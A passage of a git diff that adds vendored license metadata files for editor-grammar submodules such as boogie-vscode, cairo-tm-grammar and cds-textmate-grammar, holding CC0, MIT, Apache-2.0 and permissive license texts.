+        REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS
+        PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM
+        THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED
+        HEREUNDER.
+
+    Statement of Purpose
+
+    The laws of most jurisdictions throughout the world automatically confer
+    exclusive Copyright and Related Rights (defined below) upon the creator
+    and subsequent owner(s) (each and all, an "owner") of an original work of
+    authorship and/or a database (each, a "Work").
+
+    Certain owners wish to permanently relinquish those rights to a Work for
+    the purpose of contributing to a commons of creative, cultural and
+    scientific works ("Commons") that the public can reliably and without fear
+    of later claims of infringement build upon, modify, incorporate in other
+    works, reuse and redistribute as freely as possible in any form whatsoever
+    and for any purposes, including without limitation commercial purposes.
+    These owners may contribute to the Commons to promote the ideal of a free
+    culture and the further production of creative, cultural and scientific
+    works, or to gain reputation or greater distribution for their Work in
+    part through the use and efforts of others.
+
+    For these and/or other purposes and motivations, and without any
+    expectation of additional consideration or compensation, the person
+    associating CC0 with a Work (the "Affirmer"), to the extent that he or she
+    is an owner of Copyright and Related Rights in the Work, voluntarily
+    elects to apply CC0 to the Work and publicly distribute the Work under its
+    terms, with knowledge of his or her Copyright and Related Rights in the
+    Work and the meaning and intended legal effect of CC0 on those rights.
+
+    1. Copyright and Related Rights. A Work made available under CC0 may be
+    protected by copyright and related or neighboring rights ("Copyright and
+    Related Rights"). Copyright and Related Rights include, but are not
+    limited to, the following:
+
+      i. the right to reproduce, adapt, distribute, perform, display,
+         communicate, and translate a Work;
+     ii. moral rights retained by the original author(s) and/or performer(s);
+    iii. publicity and privacy rights pertaining to a person's image or
+         likeness depicted in a Work;
+     iv. rights protecting against unfair competition in regards to a Work,
+         subject to the limitations in paragraph 4(a), below;
+      v. rights protecting the extraction, dissemination, use and reuse of data
+         in a Work;
+     vi. database rights (such as those arising under Directive 96/9/EC of the
+         European Parliament and of the Council of 11 March 1996 on the legal
+         protection of databases, and under any national implementation
+         thereof, including any amended or successor version of such
+         directive); and
+    vii. other similar, equivalent or corresponding rights throughout the
+         world based on applicable law or treaty, and any national
+         implementations thereof.
+
+    2. Waiver. To the greatest extent permitted by, but not in contravention
+    of, applicable law, Affirmer hereby overtly, fully, permanently,
+    irrevocably and unconditionally waives, abandons, and surrenders all of
+    Affirmer's Copyright and Related Rights and associated claims and causes
+    of action, whether now known or unknown (including existing as well as
+    future claims and causes of action), in the Work (i) in all territories
+    worldwide, (ii) for the maximum duration provided by applicable law or
+    treaty (including future time extensions), (iii) in any current or future
+    medium and for any number of copies, and (iv) for any purpose whatsoever,
+    including without limitation commercial, advertising or promotional
+    purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each
+    member of the public at large and to the detriment of Affirmer's heirs and
+    successors, fully intending that such Waiver shall not be subject to
+    revocation, rescission, cancellation, termination, or any other legal or
+    equitable action to disrupt the quiet enjoyment of the Work by the public
+    as contemplated by Affirmer's express Statement of Purpose.
+
+    3. Public License Fallback. Should any part of the Waiver for any reason
+    be judged legally invalid or ineffective under applicable law, then the
+    Waiver shall be preserved to the maximum extent permitted taking into
+    account Affirmer's express Statement of Purpose. In addition, to the
+    extent the Waiver is so judged Affirmer hereby grants to each affected
+    person a royalty-free, non transferable, non sublicensable, non exclusive,
+    irrevocable and unconditional license to exercise Affirmer's Copyright and
+    Related Rights in the Work (i) in all territories worldwide, (ii) for the
+    maximum duration provided by applicable law or treaty (including future
+    time extensions), (iii) in any current or future medium and for any number
+    of copies, and (iv) for any purpose whatsoever, including without
+    limitation commercial, advertising or promotional purposes (the
+    "License"). The License shall be deemed effective as of the date CC0 was
+    applied by Affirmer to the Work. Should any part of the License for any
+    reason be judged legally invalid or ineffective under applicable law, such
+    partial invalidity or ineffectiveness shall not invalidate the remainder
+    of the License, and in such case Affirmer hereby affirms that he or she
+    will not (i) exercise any of his or her remaining Copyright and Related
+    Rights in the Work or (ii) assert any associated claims and causes of
+    action with respect to the Work, in either case contrary to Affirmer's
+    express Statement of Purpose.
+
+    4. Limitations and Disclaimers.
+
+     a. No trademark or patent rights held by Affirmer are waived, abandoned,
+        surrendered, licensed or otherwise affected by this document.
+     b. Affirmer offers the Work as-is and makes no representations or
+        warranties of any kind concerning the Work, express, implied,
+        statutory or otherwise, including without limitation warranties of
+        title, merchantability, fitness for a particular purpose, non
+        infringement, or the absence of latent or other defects, accuracy, or
+        the present or absence of errors, whether or not discoverable, all to
+        the greatest extent permissible under applicable law.
+     c. Affirmer disclaims responsibility for clearing rights of other persons
+        that may apply to the Work or any use thereof, including without
+        limitation any person's Copyright and Related Rights in the Work.
+        Further, Affirmer disclaims responsibility for obtaining any necessary
+        consents, permissions or other rights required for any use of the
+        Work.
+     d. Affirmer understands and acknowledges that Creative Commons is not a
+        party to this document and has no duty or obligation with respect to
+        this CC0 or use of the Work.
+- sources: README.md
+  text: |-
+    This document and all associated files in the github project are licensed under [CC0](https://creativecommons.org/publicdomain/zero/1.0/) ![](https://licensebuttons.net/p/zero/1.0/80x15.png).
+    This means you can reuse, remix, or otherwise appropriate this project for your own use **without restriction**.
+    (The actual legal meaning can be found at the above link.)
+    Don't ask me for permission to use any part of this project, **just use it**.
+    I would appreciate attribution, but that is not required by the license.
+notices: []
diff --git a/vendor/licenses/git_submodule/blitzmax.dep.yml b/vendor/licenses/git_submodule/blitzmax.dep.yml
new file mode 100644
index 0000000000..7fe548c9e9
--- /dev/null
+++ b/vendor/licenses/git_submodule/blitzmax.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: blitzmax
+version: 7ee210811a19436f978c272266c484bbc5e36d95
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/boogie-vscode.dep.yml b/vendor/licenses/git_submodule/boogie-vscode.dep.yml
new file mode 100644
index 0000000000..bfbe10f92b
--- /dev/null
+++ b/vendor/licenses/git_submodule/boogie-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: boogie-vscode
+version: e63cc7ba8b8bb29e56fd228f7f77955070d6cf25
+type: git_submodule
+homepage: https://github.com/boogie-org/boogie-vscode
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 siddharth-krishna
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/bqn-vscode.dep.yml b/vendor/licenses/git_submodule/bqn-vscode.dep.yml
new file mode 100644
index 0000000000..58837c0dca
--- /dev/null
+++ b/vendor/licenses/git_submodule/bqn-vscode.dep.yml
@@ -0,0 +1,17 @@
+---
+name: bqn-vscode
+version: 6494fcafd1f08e51d7afe09a466f9e7bd65bca47
+type: git_submodule
+homepage: https://github.com/razetime/bqn-vscode.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright 2021 Raghu Ranganathan.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/browserslist-vscode.dep.yml b/vendor/licenses/git_submodule/browserslist-vscode.dep.yml
new file mode 100644
index 0000000000..57a2a3b6b8
--- /dev/null
+++ b/vendor/licenses/git_submodule/browserslist-vscode.dep.yml
@@ -0,0 +1,31 @@
+---
+name: browserslist-vscode
+version: e40e7efcb19ae08622510959cfb8a9bfc8378c91
+type: git_submodule
+homepage: https://github.com/browserslist/browserslist-vscode
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2020 Browserslist
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/c.tmbundle.dep.yml b/vendor/licenses/git_submodule/c.tmbundle.dep.yml
new file mode 100644
index 0000000000..6652b35d72
--- /dev/null
+++ b/vendor/licenses/git_submodule/c.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: c.tmbundle
+version: 80c8e886b67227096a56aca6b92fe1587f76d603
+type: git_submodule
+homepage: https://github.com/textmate/c.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/cairo-tm-grammar.dep.yml b/vendor/licenses/git_submodule/cairo-tm-grammar.dep.yml
new file mode 100644
index 0000000000..c1b22980ec
--- /dev/null
+++ b/vendor/licenses/git_submodule/cairo-tm-grammar.dep.yml
@@ -0,0 +1,212 @@
+---
+name: cairo-tm-grammar
+version: 3e34951aaf4307dcf1d5fea8fd466e0652efef62
+type: git_submodule
+homepage: https://github.com/software-mansion-labs/cairo-tm-grammar.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2-
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/capnproto.tmbundle.dep.yml b/vendor/licenses/git_submodule/capnproto.tmbundle.dep.yml
new file mode 100644
index 0000000000..c510bd226a
--- /dev/null
+++ b/vendor/licenses/git_submodule/capnproto.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: capnproto.tmbundle
+version: 9fab42eb8a28b6138b8c11ce841efe10962b852e
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/carto-atom.dep.yml b/vendor/licenses/git_submodule/carto-atom.dep.yml
new file mode 100644
index 0000000000..99b070b693
--- /dev/null
+++ b/vendor/licenses/git_submodule/carto-atom.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: carto-atom
+version: '08a80dc54a9ca44c82e406e4f36cfbc8d7afa6f6'
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Yohan Boniface
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/cds-textmate-grammar.dep.yml b/vendor/licenses/git_submodule/cds-textmate-grammar.dep.yml
new file mode 100644
index 0000000000..6f6cb0fbc7
--- /dev/null
+++ b/vendor/licenses/git_submodule/cds-textmate-grammar.dep.yml
@@ -0,0 +1,211 @@
+---
+name: cds-textmate-grammar
+version: d5389523709ba010cf1b9de78c6c0478bab31bde
+type: git_submodule
+homepage: https://github.com/SAP/cds-textmate-grammar.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
